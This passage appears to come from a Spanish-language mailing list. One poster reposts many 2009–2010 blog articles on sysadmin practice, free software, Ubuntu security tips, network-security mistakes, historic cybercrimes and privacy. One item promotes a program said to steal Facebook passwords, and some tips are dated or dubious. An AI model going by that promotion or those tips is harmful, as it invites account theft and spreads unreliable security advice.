are, by definition, not smart enough to debug it.” - Brian W.
Kernighan (Depurar [código] es dos veces más duro que escribir el
código. Por lo tanto, si escribes el código de la manera más
inteligente posible, no eres, por definición, lo suficientemente
inteligente para depurarlo)
9. If you do not know what a machine will do when it is rebooted,
then it is not production ready. (Si no sabes qué hará una máquina
cuando se reinicie es que no está lista para ser [una máquina] de
producción)
10. Unless you write an essay on why you need to do something
“special” use the tools, procedures, techniques and resources the OS
provided for you. (A menos que vayas a escribir un ensayo sobre por
qué una máquina necesita hacer algo especial utiliza las herramientas,
procedimientos, técnicas y recursos que te proporciona el sistema
operativo)
11. Remember the Mack Truck Scenario: If no one will be able to
figure this out if you get hit by a Mack truck, then you’re doing
something wrong. (Recuerda la escena del camión: Si nadie será capaz
de comprender lo que pasa si te atropella un camión, entonces es que
estás haciendo algo mal)
12. Revision Control! Comment! (¡[Utiliza] control de versiones!
¡[Añade] comentarios!)
13. Log and rotate logs. Log remotely for best effect. ([Genera]
logs y rótalos. Para un mejor efecto genra logs en remoto)
14. Simplicity is its own reward. (La mejor recompensa es la
sencillez)
15. If you haven’t thought of at least one potential negative
outcome of hitting enter at the end of the command you just typed;
then you don’t understand the command well enough to use it on a
production system. (Si no has pensado al menos una vez en los
incovenientes de pulsar la tecla Enter justo después de escribir el
comando [en una consola], entonces no conoces suficientemente bien la
línea de comandos como para utilizarla en una máquina de producción)
16. Use a unique marker for names of packages that are locally
developed. $domainname perhaps? (Utiliza un marcador [fácilmente
identificable] para todos los paquetes que se han desarrollado en la
máquina local como, por ejemplo $nombrededominio)
17. If you cannot enumerate every port that should be listening on a
given machine; then it is not production ready. (Si no puedes enumerar
cada uno de los puertos que deberían estar a la escucha en una máquina
determinada, entonces ese equipo no está listo para ser una máquina de
producción)
18. If the host firewalling allows access to more ports than
ABSOLUTELY necessary; then the host is not production ready. (Si el
firewall del servidor permite el acceso a más puertos de los
ABSOLUTAMENTE necesarios, entonces ese servidor no puede ser de
producción)
19. If it seems like someone else would have encountered this
problem before, they probably have. We do not live in a vacuum. Google
for the answer (Si parece que alguien más ha encontrado antes un
problema, probablemente es que así ha sido. No vivimos aislados del
mundo. La respuesta está en Google)
20. DOCUMENT! (¡[Busca] documentación!
Especialmente dedicado a un compañero de fatigas que prefiero mantener
en el anonimato, pero que seguro que sabe quién es ;)
http://unmundolibre.net/2009/04/20/20-mandamientos-de-los-administradores-de-sistemas/
-
***********************************************************************************************************-
Sistema Operativo Minix de Tanenbaum, consigue financiamiento
http://www.somoslibres.org/modules.php?name=News&file=article&sid=2626
Tecnologias de Información
Una Universidad holandesa ha conseguido una beca del departamento de
investigación europeo para continuar trabajando en un sistema
operativo de tipo Unix que pretende ser más fiable y seguro que las
plataformas Linux y Windows.
Como es de conocimiento, este mismo sistema, sirvió de inspiración
para que Linuz Torvalds, pueda desarrollar el kernel del Linux.
La beca, por valor de 2,5 millones de euros, financiará el trabajo de
los tres investigadores y los dos programadores, afirma Andrew S.
Tanenbaum, profesor de ciencias de la informática en la universidad
Vrije en los Países Bajos.
Tanenbaum desarrolló Minix, un sistema operativo basado en parte en
Unix que tiene una base de código pequeño e implementa fuertes
controles de seguridad.
La última beca permitirá avanzar en conseguir que el sistema operativo
sea capaz de arreglar por sí solo cualquier fallo que se detecte, lo
que permitirá a los ordenadores ser más fiables, puntualiza Tanenbaum.
Los problemas de software nunca se eliminarán, escribía Tanenbaum en
la propuesta del proyecto, pero sistemas operativos como Windows y
Linux están diseñados de forma de que sean menos fiables de lo que
podrían ser, mantiene. Por ejemplo, los drivers para prestaciones como
sonido u otros periféricos se instalan dentro del kernel del sistema
operativo o del código core del sistema, lo que hace que si algo va
mal, el sistema se cuelgue. Por el contrario, Minix está diseñado de
forma que los drivers operan como aplicaciones fuera del kernel, lo
que significa que si se estropean el sistema sigue operativo, señala
Tanenbaum. En el modelo propuesto por Tanenbaum, otros componentes del
sistema operativo funcionan en módulos muy rígidos de forma que, en
caso de fallo de uno de ellos, éste no pueda interferir en el
funcionamiento de otro, lo que mejora la seguridad global del sistema.
-
************************************************************************************************-
http://unmundolibre.net/2009/04/15/un-rootkit-mas-sigiloso-acecha-al-kernel-linux/
Dark Reading se ha hecho eco de una nueva amenaza de seguridad en
forma de rootkits que atacan al kernel de Linux a través de /dev/mem.
La demostración práctica de esta amenaza la realizará Anthony
Lineberry, un experto en seguridad especializado en ingeniería inversa
y búsqueda de vulnerabilidades, durante Black Hat, uno de los
congresos de seguridad informática más prestigiosos a nivel europeo.
El peligro de este rootkit es que es bastante más difícil de detectar
comparado con otros rootkits que atacan al kernel, aunque Lineberry
asegura que no es tan sencillo como crear un módulo del kernel, sino
que requiere un conocimiento en profundidad de las interioridades del
kernel.
-
****************************************************************************************************_
10 personas influyentes en el software libre
post info
Por unmundolibre
Categorías: Linux
Tags: open source, personajes, software libre
Personas influyentes en el mundo del software libre
El mundo del software libre está repleto de héroes anónimos que
contribuyen con su trabajo a que todo funcione a la perfección,
detectando y corrigiendo fallos o creando nuevas y excelentes
aplicaciones. Pero entre todos esos personajes anónimos también surgen
personas influyentes que, por sus acciones o declaraciones con
respecto al software libre, adquieren cierta relevancia. Es el caso de
estos 10 personajes, algunos de los cuales ya han aparecido
mencionados más de una vez en este blog:
* Linus Torvalds: De sobra reconocido, Torvalds es el último
responsable del kernel Linux sobre el que ejerce las tareas de
coordinación. Su periplo
* Richard Stallman: Comparte con Torvalds el ser la figura más
representativa en el mundo del software libre, aunque no se lleven
demasiado bien. Stallman es el mayor activista por la libertad del
software, creador de GNU y de la Free Software Foundation. A él le
debemos programas como el editor Emacs o las herramientas de
compilación gcc (GNU Compiler Collection).
* Andrew Morton: Aparte de Torvalds, el kernel de Linux tiene en
Andrew Keith Paul Morton a uno de sus más importantes representantes
ya que se encarga de mantener la rama mm del kernel donde se incluyen
todos los parches que no han sido suficientemente probados y que se
incluirán con posterioridad en la rama oficial.
* Eric S Raymond: Conocido como ESR, durante años ha sido el
representante no oficial del movimiento de software libre. Se dio a
conocer por ser la persona que mantenía actualizado Jargon File, un
referente en la cultura hacker.
* Andrew Tridgell: Su nombre se asocia a dos tecnologías
fundamentales: Samba y rsync. Pero Tridge (sobrenombre con el que se
le conoce) es reconocido por sus excelentes análisis de tecnologías
que utilizan protocolos propietarios para desarrollar y crear
versiones abiertas.
* Mark Shuttleworth: Este empresario sudafricano es el creador de
Canonical, compañía responsable del lanzamiento de una de las
distribuciones Linux más populares de los últimos años: Ubuntu.
* Marc Ewing: Es el responsable de la aparición de Red Hat, nombre
que se le ocurrió por culpa de una gorra roja del equipo de lacrosse
de la universidad de Cornell que le regaló su abuelo.
* Miguel de Icaza: El nombre de este programador mexicano está
claramente asociado al proyecto GNOME. Poco después creó Ximian,
responsabe del proyecto Mono. Esta última compañía fue adquirida por
Novell.
* Michael Widenius: Autor de la base de datos open-source MySQL y
miembro fundador de MySQL AB. Hasta la compra de MySQL por parte de
Sun, Widenius era el máximo responsable técnico de la compañía hasta
que a principios de este año decidió dejar la empresa para emprender
una aventura empresarial en solitario.
* Rasmus Lerdorf: El creador del lenguaje de programación PHP
(trabajó en las dos primeras versiones) que actualmente trabaja para
Yahoo!
Leído en 10 Individuals who have contributed the most to FOSS
http://unmundolibre.net/2009/04/14/10-personas-influyentes-en-el-software-libre/
Paulo
de ekl Alcance Libre
Craig Gentry, investigador de IBM ha logrado hacer cálculos con datos
cifrados sin que sea necesario descifrarlo a través de una tecnología
que ha denominado fully homomorphic encryption (algo que pudiera
traducirse como cifrado completamente homomórfico), y que utiliza un
sistema matemático conocido como entramado ideal que permite
interactuar con datos cifrados como jamás se había logrado. IBM
asegura que esto supone romper una barrera que permitirá a las
empresas de servicios informáticos, como Google, almacenar información
confidencial que otros podrán analizar sin necesidad de interacción
del cliente y sin ver siquiera estos datos privados. La idea es que un
usuario pueda buscar información utilizando palabras cifradas y
obtener los resultados también codificados para que los pueda
descifrar por sí mismo.
Otras aplicaciones potenciales son permitir filtros para identificar
el correo chatarra (spam), incluso en correos electrónicos cifrados, o
proteger la información de los historiales médicos. De acuerdo a IBM,
este avance también podría permitir, en el futuro, que los usuarios de
computadoras pudiera recuperar información de un motor de búsquedas
con más confidencialidad.
Utilizando esta tecnología también se puede impulsar el modelo de
informática en la nube en la que un proveedor de servicio guarda los
datos confidenciales de terceros.
Paulo
10 consejos básicos de seguridad en Ubuntu Linux
Autor: Isaac Lemus | Lecturas: 787 | | miércoles, 08 de julio 2009 @
01:00 CDT |
Navegando por internet nos encontramos con un articulo muy interesante
el cual se titula 10 consejos básicos de seguridad en Ubuntu Linux. El
autor del articulo define Linux en un sistema operativo muy seguro.
Pero si dejamos una instalación sin configurar algunos detalles, esa
seguridad puede verse comprometida.
Los 10 consejos básicos de seguridad para sistemas operativos Ubuntu
son:
1 – Debemos asegurarnos que el disco rígido este seleccionado en
primer lugar en la secuencia de arranque de nuestra PC. Con esto
evitamos:
* que alguien utilice un CD de instalación de Linux para tener acceso
como root
* que usen un Live CD que permita ver, compartir y/o destruir nuestro
disco rígido completo
* que alguien instale otro sistema operativo sobre nuestro Ubuntu
Linux
2 – Debemos establecer una contraseña para la BIOS de nuestra PC. Esto
impide que un desconocido cambie la secuencia de arranque de la PC.
3 – La PC debe estar en un lugar seguro. Cualquiera que tenga acceso
físico a la PC puede retirar la batería de la placa y volver a
ponerla, reseteando la contraseña de la BIOS.
4 – Asegurarnos que la contraseña de nuestro sistema operativo Linux
Ubuntu no es fácil de averiguar. Nuestra contraseña debe tener como
mínimo 8 caracteres para ser segura. La mejor contraseña es la que
combina caracteres numéricos y alfanuméricos con mayúsculas y
minúsculas.
5 – Debemos asegurarnos que el historial de los comandos de la consola
de Ubuntu Linux esta desactivado. Aunque a veces es más fácil
encontrar un comando que usamos mucho en el historial, esto puede
provocar que alguien vea cuales fueron nuestras últimas acciones en
Linux y deliberadamente arruinar nuestro trabajo. Por otro lado, tener
que escribir los comandos una y otra vez nos permite aprender “por la
fuerza” los comandos del sistema operativo Linux Ubuntu.
6 – Desactivar la combinación de teclas Ctrl + Alt + Del en modo
consola. Esto impide que alguien pueda reiniciar Linux sin permiso.
7 – Asegurarnos que el modo interactivo para mover, copiar y eliminar
archivos esta activo en el modo consola. Esto impide que la
inexperiencia con el sistema operativo Linux nos lleve a cometer
errores en el manejo de archivos.
8 - Para el trabajo cotidiano conviene hacer login como usuario
normal. Si ingresamos como root podemos accidentalmente borrar o
modificar archivos del sistema, y no siempre sabemos como arreglar
este tipo de situaciones en Linux.
9 - Siempre es conveniente ejecutar las tareas administrativas usando
el comando “sudo”. En Linux usar el comando “sudo” nos permite auditar
nuestras acciones y corregirlas si fuera necesario. Lo que hacemos con
el comando “sudo” queda registrado en /var/log/auth.log. Podemos
revisar este archivo para ver cuales fueron nuestras últimas acciones
y descubrir cual de ellas provoco el problema para luego corregirlo.
10 – Ubuntu Linux es un sistema operativo muy seguro. Pero aun así es
conveniente instalar un cortafuegos como Firestarter. Un cortafuegos
no garantiza la seguridad de nuestro sistema operativo, pero es
nuestra primera defensa ante un ataque proveniente de la red.
Fuente:
http://lavidalinux.blogspot.com/2009/06/10-consejos-basicos-de-seguridad-para.html
Paulo
donde se presentaban soluciones de monitoreo y dentro de las cuales se
incluyen algunas como:
Zenoss
Nagios
Zabbix
Hobbit
Groudworks
HypericHQ
Paulo
por parte de grupos del crimen organizado para robar información
bancaria, números de la seguridad social e información personal.
La mayoría de estos ataques se deben a errores y fallos de
supervisión, y sólo un 17% se deben a ataques más sofisticados.
Estudios recientes revelan que durante el año pasado el número de
archivos comprometidos fue mayor que la suma de los cuatro años
anteriores.
Los grupos del crimen organizado se encuentran con redes poco
protegidas en las que se mueven a sus anchas. ¿Qué pasa por la cabeza
de los Administradores de Redes para permitir estas fisuras y no tomar
ciertas medidas de seguridad?
1. Dispositivos de red no críticos que no tienen cambiadas las
passwords que vienen por defecto. "Los dispositivos no críticos no son
objetivo de los hackers".
2. Varios dispositivos que comparten las mismas passwords. "¿Para
qué molestarnos en poner passwords diferentes a los servidores? Así
tendremos que memorizar menos"."Y si las conoce el mayor número de
empleados, siempre tendremos a alguien a quien preguntar si se nos
olvida". O mejor aún, "si cambio de empresa, usaré las mismas
passwords que en la antigua, hay que reutilizar".
3. No testear las aplicaciones web en busca de inyecciones de SQL.
"Bah, con evitar que se vean los errores poniendo una página default,
es suficiente".
4. No configurar correctamente las ACLs. "¿Segmentar correctamente
la red?, implicaría el uso de los routers como firewalls".
5. Permitir el acceso remoto no seguro. "Tener que añadir tokens y
certificados lleva demasiado tiempo, y nos tocaría modificar la
infraestructura, está bien como está".
6. No testear las aplicaciones no críticas en busca de
vulnerabilidades. "Mejor centrarse en las aplicaciones web críticas, a
un hacker las otras aplicaciones no le interesan".
7. Detectores de keyloggers y spyware sólo se instalarán en
servidores críticos. "Las licencias están muy caras, y ya tenemos un
antivirus que debería detectarlos"
8. No configurar los routers de forma adecuada para que prohíban el
tráfico de salida no deseado. "Si vemos un día que nuestro servidor de
correo envía tráfico SSH, será que es multifuncional"
9. No saber donde están almacenados los datos sensibles. "En
cuantos más sitios estén (dispositivos de backup, equipos de
desarrollo) más fácil será recuperarlos en caso de extravío".
Probablemente esto sólo les ocurra a las corporaciones de este estudio
y los que nos leen realicen: escaneos de vulnerabilidades de todos los
dispositivos de red, no sólo de los críticos. Se aseguren
regularmente, ya sea de forma manual o automática que los servidores
no comparten las mismas passwords. Usen por ejemplo, firewalls de
aplicación para detectar ataques SQL Injection sobre las aplicaciones
web. Escaneen la red para detectar tráfico no deseado. Inviertan en
buenos detectores de malware. Revisen las cuentas y credenciales
cuando los empleados abandonan la empresa, implanten un buen sistema
de monitorización que recoja logs de los dispositivos que componen tu
red.
No existe la seguridad al 100% pero intentemos aproximarnos lo más
posible.
Paulo
de eklSecurity Security By Default de nor...@blogger.com (Lorenzo
Martínez)
Al planear un ataque contra un objetivo, una de las cosas que más
importancia tienen es el "cuándo" se llevará a cabo. En general,
grandes ataques, virus o gusanos, se han efectuado cuando las defensas
del destino están más bajas (Navidades, Semana Santa, verano, etc...)
Lo más normal en periodos vacacionales es que los departamentos de
seguridad roten a su personal para que el "fuerte" no quede solo y si
pasa algo siempre haya alguien para reaccionar ante los ataques. El
factor sorpresa es importante, la gente disfrutando de sus vacaciones
(días de sol, familia, turismo...) y las organizaciones con sus
servicios mínimos de seguridad, lo cual otorga menor protección o
cuanto menos una mayor latencia en la mitigación del ataque.
En general, cuando el responsable de seguridad de un departamento está
de vacaciones, sus acólitos son quienes se quedan de regentes, sin
embargo, los huevos que están en el yunque son del que está tumbado en
la arena tomando granizados. En caso de un incidente de seguridad, él
será el responsable de la reacción, aunque no esté presente. Para
poderse ir de vacaciones y estar tranquilo, se hace necesario contar
con diferentes mecanismos:
* Un equipo humano cualificado y de confianza: Para ello, se hace
necesario que los mismos cuenten con una formación y una experiencia
sólidas en materias de administración de sistemas, seguridad y gestión
de incidentes.
* Correcto bastionado de las infraestructuras: desde el diseño
hasta la implantación, se hace imprescindible acciones procedimentadas
de instalación y despliegue de los diversos activos en las redes de la
organización.
* Mantenimiento adecuado: aplicación de parches, service packs,
opciones de configuración y securización nuevas, que solucionen
problemas ante los servicios provistos.
* Mecanismos de detección: Tener habilitadas las opciones de log
de los diversos dispositivos (IDS, IPS, cortafuegos, WAF), así como de
los propios servicios otorgados al exterior (web, SMTP, FTP, POP3,
IMAP, etc,...)
* Documentación actualizada: Este punto es IMPRESCINDIBLE. Aunque
sea la parte más aburrida de una instalación y/o actualización,
inventariar lo que se tiene, cómo y dónde se tiene, así como para qué
se tiene, es importantísimo para acotar problemas, encontrar agujeros,
priorizar acciones, etc,....
* Mecanismos de alerta: Tanto para los operadores de primer nivel,
como para el que está tostándose al sol en la toalla, es
importantísimo el poder estar enterado de lo que ha sucedido. Asimismo
es de suma importancia la cantidad y la calidad de la información
recibida según el rol. Si se trata de un operador de nivel 1, quizá
sea interesante enviar hasta el más mínimo y sospechoso movimiento;
sin embargo, a altos niveles, sólo se hace necesario recibir
notificación de aquellas que realmente hayan supuesto una amenaza
grave o que hayan provocado una denegación de servicio, una pérdida de
información o un servicio degradado (y así permitir descansar al que
está de vacaciones no importunándolo con ataques de menor
trascendencia)
En general, el responsable de sistemas o de seguridad de una gran
corporación, creo que aunque intente desconectar en vacaciones, aunque
lo intente, siempre estará más tranquilo si recibe un resumen diario
de diferentes fuentes confiables que puedan dar un "balance de
situación" o una foto diaria, de la seguridad de su empresa y que todo
esté bajo control.
Paulo
de eklSecurity Security By Default de nor...@blogger.com (Alejandro
Ramos)
Noche del 17 de Marzo de 2001 23:00h, uno de esos días de nuestra
historia negra. Santos Santamaría, Mosso d'Esquadra de tan solo 32
años fallece a causa de un atentado mediante un coche bomba de la
banda terrorista ETA. Pocas horas después otro coche en Gandía hace
explosión de forma controlada a las 4.30h sin producir ningún herido.
España una vez más despierta con la mala noticia.
No había pasado demasiado tiempo desde que se hizo pública una de las
vulnerabilidades más graves del servidor web Internet Information
Server (IIS) de Microsoft en su versión 4 y 5, (CVE-2000-0884), que
permitía la ejecución remota de comandos y lectura de ficheros fuera
del directorio raíz de la aplicación.
El caldo de cultivo y precisamente esta vulnerabilidad fue la que
nuestros protagonistas anónimos utilizaron para colgar un precioso
lazo azul en la página del periódico Gara, utilizado comúnmente por
los terroristas para hacer comunicados.
Existen multitud de noticias donde se referencia este acto
hacktivista, entre ellos la revista Time, lo que lo convirtió
posiblemente en uno de los más destacados.
Tal y como se observa, la URL es lazoazul.hobbiton.org, donde se
redirigió el dominio gara.net.
El contenido que se mostraba en el deface rezaba: "Esta web ha sido
hackeada en recordatorio a las víctimas de ETA y sus familiares. Basta
Ya. No somos hackers, somos españoles indignados."
Poco después de este hackeo, la web sufrió otra modificación que
permaneció varios días. Nunca se llegó a conocer a ninguno de los
autores.
Paulo
sufrir en nuestros mails es el Phishing o técnica con la cual se
suplanta la identidad de determinada empresa (principalmente bancos o
sitios tipo eBay) para conseguir datos potencialmente sensibles.
Gmail ha presentado un sistema de protección contra el Phishing, que
por el momento solamente funciona para eBay y PayPal. Una vez
activemos la herramienta en Gmail Labs (Configuración> Labs> Icono de
autenticación para remitentes verificados) se nos mostrará al lado de
cada email un pequeño icono en forma de llave que verifica la cuenta
de email desde donde nos llegó correo es la oficial de eBay o PayPal.
Una forma simple de aumentar nuestra seguridad, ahora solamente falta
que vayan aumentando el número de servicios que comprueba.
Paulo
Hackear Passwords de Facebook
August 17th, 2009 por NotiLogia | No Comments »
Una nueva aplicación apareció en la internet para hacer temblar al
coloso de las redes sociales, el gigante FACEBOOK, un programa (que no
me consta) promete robarle las contraseñas a quien quieras, incluso te
dan una version free trial, para que lo pruebes y te quedes con ganas
de seguir robando y recuperando contraseñas el Facebook.
en este video te muestran como funciona con lujo de detalles:
Paulo
Recuperar datos borrados accidentalmente desde Ubuntu…
27 Agosto 2009 martincasc Deja un comentario Ir a los comentarios
A todos nos ha paso que hemos borrado o se nos ha borrado
accidentalmente el contenido o parte del mismo de nuestra TF, Pen
Drive, Disco Duro, etc. En estos casos existe una buena cantidad de
herramientas en Windows, y Linux no puede estar al margen de dicha
tecnología.Vamos a utilizar una aplicación llamada photorec:
sudo aptitude install testdisk
Luego para recuperar archivos simplemente tecleamos:
sudo photorec
* El programa se ejecuta desde consola, pero tiene un menu muy
intuitico, y lo primero que nos pedira es que maximicemos la ventana
de consola para que podamos ejecutar el programa y ver todas las
lineas del menu.
* Posteriormente nos pedira que le indiquemos desde que unidad
queremos recuperar los datos, y nos saldra la lista de las unidades
que tengamos montadas.
* Luego el programa detectara los diferentes tipos de particiones
bien sean FAT, EXT, etc … y seleccionaremos la correcta.
* Despues tendremos que seleccionar una carpet o ruta donde el
programa depositara os ficheros borrados que vaya detectando.
* Por ultimo pulsando “Y” de yes, empezara el proceso.
El programa funciona de una forma escandalosa y organiza en carpetas
todo lo que vaya detectando,.
Valorar entrada
Paulo
Fecha: 23/Septiembre/2009 (11:00) | Categoría(s): Seguridad |
Comentarios: 6
Si eres de los que usan Pidgin como cliente de mensajería, y más aún,
si eres de los que deja guardadas las contraseñas de sus cuentas en
este programa, debes saber que éstas son almacenadas sin ninguna
seguridad en un fichero de texto plano.
Concretamente, puedes encontrar el fichero donde Pidgin almacena toda
la información de las cuentas, incluidas las contraseñas, en /home/
david/.purple/accounts.xml
¿Un fallo de seguridad? Ésto no es nada nuevo, y la gente de Pidgin lo
explica así:
“La mensajería instantánea no es muy segura, y no tiene sentido
perder mucho tiempo agregando protecciones a las fuertes protecciones
de ficheros de UNIX (nuestra plataforma nativa) cuando los protocolos
no son tan seguros. La forma de saber realmente con quién estás
hablando es usar un plugin de encriptación en ambos extremos (como OTR
o pidgin-encryption), y usar llaves GPG verificadas. En segundo lugar,
no debes utilizar tu contraseña de mensajería instantánea para nada
más. Mientras algunos protocolos tienen una seguridad de contraseñas
decente, otros la tienen insuficiente, y algunos (como IRC) no la
tienen de ningún tipo.“
Personalmente, creo que ésto no es motivo para dejar las contraseñas
al alcance de cualquiera como texto plano. Y cuando menos, es
importante conocer la situación, y que cada uno decida qué hacer al
respecto con su seguridad.
Referencias: hacking-avanzado.blogspot.com
hitzero2003
Saludos Cordiales, Eloy
Moya
muy bien indica el usuario "cubaman" en menéame:
"Estaría bien que no fueran texto plano como medida adicional, pero si
tienes en cuenta la estricta seguridad de directorios de la familia
NIX* sabrás que solo tu y los procesos lanzados por ti pueden leer ese
fichero"
Fuente: http://meneame.net/story/pidgin-guarda-contrasenas-texto-claro/0003
Laura
Yo por norma general, no almaceno contraseñas... ni en el navegador,
ni en el Pidgin... etc... Es mas seguro que estén en mi cabecita.
Desde el momento en el que pedimos que sean guardadas ... las dejamos
al alcance de los demás...
Saludos
Paulo
Como no podía ser de otra forma, y dado que los microsiervos, edans,
alt1040 y cía han hecho sus Top de la década, aprovecho para enlazar y
comentar un post de Wired con un top de crímenes cibernéticos
acontecidos en la década pasada.
Año 2000: Michael “MafiaBoy” Calce, un adolescente canadiense de
apenas 15 años puso en jaque a múltiples multinacionales de la talla
de Ebay, Dell, Yahoo o la CNN mediante ataques de tipo DDoS que
lanzaba desde su (para la época) significativa Botnet. Lo curioso del
asunto es que su motivación principal para crear la botnet era tener
'munición' disponible para hacer IRC-WAR. En España, tuvimos un caso
de bastante repercusión contra varios ISPs cuyo origen también fue
'disputas del chat'
Año 2002: En uno de los hackeos mas dañinos que se recuerdan, un
asaltante logró hacerse con los datos bancarios / números de la
seguridad social / direcciones de 265.000 empleados del estado de
California. Afortunadamente no se recuerda nada similar que haya
sucedido en España
Año 2003: Aparece el primer y mas brutal gusano de propagación
mediante Internet llamado 'Slammer' que aprovechaba un fallo de SQL
Server. Hoy día suena a ciencia ficción que alguien pueda tener
expuesto a Internet algo como un servidor de base de datos.
Año 2004: el caso Foonet. Foonet, era un ISP de EEUU que tenia, por
decirlo de alguna forma, unas muy laxas políticas de admisión, lo que
derivaba en que todo un ecosistema de dudosa legalidad habitara en las
maquinas de hosting. Parece que en 2004 el gobierno de EEUU puso fin a
las actividades de este ISP y sus responsables fueron enjuiciados por
ataques de tipo DDoS. En España, ya hubo un sitio donde se aceptaba
'casi todo', su nombre: IslaTortuga y como no podía ser de otra forma,
también fue derribada judicialmente.
Año 2006: Max "Iceman" Vision decidió que ver películas de 'El
Padrino' era lo suficientemente constructivo como para inspirarse en
sus acciones y, en solo dos noches, se hizo con el control de los mas
importantes sites que albergaban foros de contrabando de tarjetas
VISA, datos bancarios o botnets y, una vez obtenidos los datos,
destruyó los registros de los sites, creando su propia web
'CardersMarket' donde re-utilizó la información. Finalmente el FBI
tomó cartas en el asunto.
Año 2005 - 2008: Un pirata de nombre hispano 'Albert Gonzalez' inició
una cadena de asaltos empleando todo tipo de técnicas (desde hackeos
WIFI, hasta SQL injections) para hacerse con la, hasta ahora, mas alta
cantidad de números de tarjetas de crédito (se habla de 130 millones).
Por lo visto, el simpático Albert se hizo con un buen numero de
'pasarelas de pago' donde obtenía las tarjetas
Año 2009: El año del Conficker. Hablamos aquí y aquí de el. Todo un
'fenómeno social'
http://www.securitybydefault.com/2010/01/los-ciber-crimenes-mas-infames-de-la.html
Paulo
Foursquare, estamos dando cada vez más datos al público, a gente que
no siempre va a tener buenas inteciones. Contamos nuestros hábitos,
nuestros gustos, qué hacemos… y últimamente también donde estamos.
PleaseRobMe.com nos da la información de localización de todos los
usuarios de Twitter según la vayan twitteando, además de permitirnos
buscar información de localización sobre un usuario o cerca de un
sitio determinado.
De esta forma, nos hace ver con otros ojos nuestra publicidad en la
red. Aquí, no vemos las localizaciones como “Pepito está en el
restaurante Paco’s”, sino que lo vemos como “Pepito está en el
restaurante Paco’s por lo que no está en casa“. Realmente, y tal y
como dicen en el título, una invitación para que entren a tu casa.
Porque, aunque es verdad que con ese twiteo no se puede saber donde
está tu casa, seguramente hayas enviado alguna vez algo del estilo
“Estoy en casa” con la localización de donde enviaste el twitt. De
hecho, sólo hay que ver los resultados de buscar “Home” en Foursquare.
Por supuesto que nuestra información sobre geolocalización es difícil
que sea usada para robarnos, pero sí que puede ser usada para tenernos
controlados, ya sea por nuestro jefe, novio/a, padres. Nada mejor que
una tira cómica como ejemplo.
A mí, personalmente, me da la sensación de que nos estamos volviendo
locos. Nos preocupamos y quejamos porque los motores de búsqueda
almacenan 6 meses nuestra información, pero luego decimos al mundo
entero donde vivimos, qué hacemos y cuándo lo hacemos sin preocuparnos
por quien lo pueda ver. Y no solo va por Foursquare, también por otros
servicios en los que nos exponemos a los demás: Twitter, Facebook
(mucha gente tiene perfil público), Google Buzz…
En fin, creo que deberíamos tomarnos un poco más en serio los
servicios de geolocalización, manteniéndolos privados de forma que
sólo puedan acceder personas en las que confiemos. Y si no, no los
usemos tan a la ligera.
http://www.genbeta.com/web-20/pleaserobme-se-nos-esta-yendo-la-privacidad-de-las-manos
Paulo
Mitos: ¿Es Linux inmune a los virus?
10 de Febrero de 2010 - por Picajoso 60 comentarios
No.
Esa es la sencilla y contundente respuesta a una pregunta que suele
rondarnos tanto a los linuxeros como a los que han oido hablar de ese
mito o leyenda urbana según la cual los sistemas operativos Linux son
totalmente inmunes a los virus informáticos.
La realidad es bien distinta: obviamente si comparamos la cantidad de
virus que existen para Windows con la que hay en Linux está claro que
Linux está muchísimo menos afectado por dichos tipos de amenazas, pero
eso no significa que sean inmunes, ni mucho menos.
En Linux.com tratan de dar una respuesta más detallada y lo consiguen
comenzando por la difusa definición de virus de la Wikipedia, que
arroja una conclusión: un virus informático es cualquier tipo de
código o software malicioso que puede infectar un ordenador
produciendo efectos no deseados y que además puede propagarse a otros
ordenadores.
Hay todo tipo de virus para nuestros ordenadores, aunque en Linux.com
dividen en cuatro este tipo de código:
Adjuntos al correo electrónico
URLs maliciosas
Integrados en aplicaciones (como las extensiones de los navegadores)
Rootkits
En todos los casos queda claro que Linux está bastante exento del
peligro porque admitámoslo: los hackers no están demasiado motivados
con este sistema operativo. Es mucho más interesante tratar de
infectar a PCs con Windows porque eso da más dinero, sencillamente.
Ya hablamos en el pasado de algunos antivirus para Linux, soluciones
que precisamente existen porque hay ciertos códigos maliciosos que
pueden poner en problemas nuestro PC o portátil, pero como señalan en
Linux.com, el único peligro real de esas cuatro alternativas son los
rootkits.
Estos componentes son difícil es de eliminar, y en algunos casos su
efecto en nuestros sistemas es tan perjudicial que no podremos
recuperar el estado anterior. La utilidad Rootkit Hunter precisamente
está dirigida a escanear nuestros discos duros en busca de esos
rootkits, y si tenéis uno… tened mucho cuidado. Como siempre, uno de
los métodos más eficientes para evitar el desastre es la prevención. O
lo que es lo mismo: la realización de copias de seguridad periódicas.
¡No digáis que no os avisamos!
http://www.muylinux.com/2010/02/10/mitos-¿es-linux-inmune-a-los-virus/
Paulo
25.02.10 | Categoría: Derechos, Microsoft
El Microsoft® Online Services Global Criminal Compliance Handbook es
el último descubrimiento de Cryptonome y es, básicamente, el conjunto
de políticas y lineamientos de información que Microsoft guarda de tus
movimientos en sus servers y que comparte con las autoridades. El
documento hasta le enseña a las autoridades como hacer el pedido para
que MSFT no pueda tener problemas de PR y a entender, por ejemplo, un
log de datos.
¿Sabías que tu XBox guarda la IP desde donde te conectás a
perpetuidad? ¿sabías que, aunque Microsoft no guarda tus
conversaciones del MSN Messenger, tiene los datos de quienes están en
tu lista de contactos para entregar sin problemas? ¿sabías que para
evitar problemas de privacidad cuando las autoridades quieren una foto
de un MSN Spaces simplemente deben pedir el contenido del Space
completo, total MSFT te dice como encontrar la data que necesitás?
Y es cierto, al menos tienen procedimientos para que las autoridades
puedan perseguir a criminales o terroristas (palabra de moda si las
hay) como hicieron con Google cuando un grupo de jóvenes molestó a un
chico autista (y de paso evitan que sus ejecutivos sean encerrados)
pero la realidad es que no termino de entender la necesidad de hacer
que esto no se haga público al punto de pedir la suspensión de las
cuentas del site que los descubrió.
Mientras lo podrían haber explicado de forma simple: “miren, la
realidad es que por ley debemos entregar datos, la mejor forma de
hacerlo es tener procedimientos claros” o “miren, gracias a la data de
una XBox podemos saber donde hay un ladrón o encontrar un
secuestrador” que son ejemplos creíbles y reales la embarraron tanto
que:
a) La información se replicó tanto que ahora está distribuída en al
menos 15 servers (incluyendo dos en repúblicas sin leyes digitales)
b) Todos estamos leyendo el documento y descubriendo todo lo que
Microsoft sabe de mi y todo lo que le facilita a las autoridades para
que sepan mi vida online
c) Ahora son un ejemplo claro y docuemntado de que la privacidad
online NO existe.
Y una última reflexión ¿en serio se imaginan que es la única empresa
de Internet que tiene este tipo de políticas? Ni las cosas se borran
cuando vos lo imaginás, ni los datos desaparecen en cuanto “pasa un
tiempito”, ni las únicas amenazas a la nube son externas.
Nota: El sitio original Cryptome fue dado de baja por pedido expreso
